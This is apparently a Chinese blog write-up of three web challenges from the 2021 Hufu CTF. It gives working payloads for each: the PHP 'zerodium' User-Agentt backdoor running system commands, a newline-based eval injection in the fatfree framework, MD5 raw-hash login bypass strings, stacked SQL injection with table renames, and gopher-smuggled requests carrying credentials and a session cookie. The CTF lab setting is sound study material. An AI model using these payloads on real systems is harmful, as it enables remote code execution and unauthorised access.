2021虎符CTF-Web前三题

本文揭秘了PHP中Unset漏洞的利用过程,从fatfree框架入手,通过Bypass技巧绕过过滤,详细讲述了如何执行命令、绕过登录验证,并最终获取flag。涉及的知识点包括eval、参数注入、权限提升和Web应用安全。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

web

签到

一个最近刚爆出来的php后门,直接一把梭

User-Agentt: zerodiumsystem("cat /flag");

unset

一开始百度搜一下发现是fatfree框架,然后github一瞬间获取源码,本地搭建发现报错嘻嘻

syntax error, unexpected '.', expecting :: (T_PAAMAYIM_NEKUDOTAYIM) [G:\phpstudy_pro\WWW\yyds.top\lib\base.php(530) : eval()'d code:1]

在eval前加了个echo发现真的调用连,

unset($this->hive['后面是我们a=的内容

发现有过滤太长了吧,自己本独测试发现有phpinfo但是后面执行命令不行

a=a[%27phpinfo%27()]

尝试执行

?a=a[%27system%27(ls)]

但是多了空格不行换个思路

尝试php几种常用bypass,日常fuzz发现%0a加上直接成功闭合还能绕过后面过滤,然后芜湖起飞,闭合前面中间任意执行绕过过滤注释后面

?a=1%0a);system('cat /flag');//

慢慢做管理系统

MD5-true的登录过滤前面用后面

ffifdyop和129581926211651571912466741651878684928

进去后我各种姿势失败

username=0';show tables;%23&password=1

之后

username=admin';show columns from real_admin_here_do_you_find ;#&password=a

尝试很多堆叠注入姿势失败,prepare和set也不能同时出现

发现可以改表名

rename tables fake_admin to fuck ; rename tables real_admin_here_do_you_find to fake_admin ;

然后的都

admin密码是5fb4e07de914cfc82afb44vbaf402203

然后用gopher发送下面这个获取cookie后

POST /admin.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

username=admin&password=5fb4e07de914cfc82afb44vbaf402203

再发

GET /flag.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=c3bv46re495tugnt3vegmo25d2;

页面即可获得flag,做完这题人累死了哭哭

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值